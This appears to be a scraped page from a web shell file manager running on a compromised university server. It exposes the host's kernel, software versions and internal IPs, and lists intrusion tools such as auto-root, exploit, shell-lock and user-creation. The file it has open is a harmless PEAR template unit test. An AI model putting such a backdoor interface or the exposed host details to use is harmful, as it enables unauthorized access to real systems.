Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
HTML_Template_Sigma /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
templates
[ DIR ]
drwxr-xr-x
AllTests.php
2.38
KB
-rw-r--r--
Sigma_api_testcase.php
18.81
KB
-rw-r--r--
Sigma_bug_testcase.php
2.45
KB
-rw-r--r--
Sigma_cache_testcase.php
3.92
KB
-rw-r--r--
Sigma_usage_testcase.php
4.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Sigma_bug_testcase.php
<?php /** * Unit tests for HTML_Template_Sigma * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.01 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_01.txt If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category HTML * @package HTML_Template_Sigma * @author Alexey Borzov <avb@php.net> * @copyright 2001-2007 The PHP Group * @license http://www.php.net/license/3_01.txt PHP License 3.01 * @version CVS: $Id: Sigma_bug_testcase.php,v 1.3 2008/07/22 15:07:48 avb Exp $ * @link http://pear.php.net/package/HTML_Template_Sigma * @ignore */ /** * PHPUnit Test Case */ require_once 'PHPUnit/Framework/TestCase.php'; /** * Test case for fixed bugs * * @category HTML * @package HTML_Template_Sigma * @author Alexey Borzov <avb@php.net> * @version 1.2.0 * @ignore */ class Sigma_bug_testcase extends PHPUnit_Framework_TestCase { /** * A template object * @var object */ var $tpl; function setUp() { $className = 'HTML_Template_' . $GLOBALS['IT_class']; $this->tpl =& new $className(dirname(__FILE__) . '/templates'); } function tearDown() { unset($this->tpl); } function testBug6902() { global $Sigma_cache_dir; if (OS_WINDOWS) { // realpath() on windows will return full path including drive letter $this->tpl->setRoot(''); $this->tpl->setCacheRoot($Sigma_cache_dir); $result = $this->tpl->loadTemplatefile(realpath(dirname(__FILE__) . '\\templates') . '\\' . 'loadtemplatefile.html'); if (PEAR::isError($result)) { $this->assertTrue(false, 'Error loading template file: '. $result->getMessage()); } $this->assertEquals('A template', trim($this->tpl->get())); $result = $this->tpl->loadTemplatefile(realpath(dirname(__FILE__) . '\\templates') . '\\' . 'loadtemplatefile.html'); if (PEAR::isError($result)) { $this->assertTrue(false, 'Error loading template file: '. $result->getMessage()); } $this->assertEquals('A template', trim($this->tpl->get())); } } } ?>
Close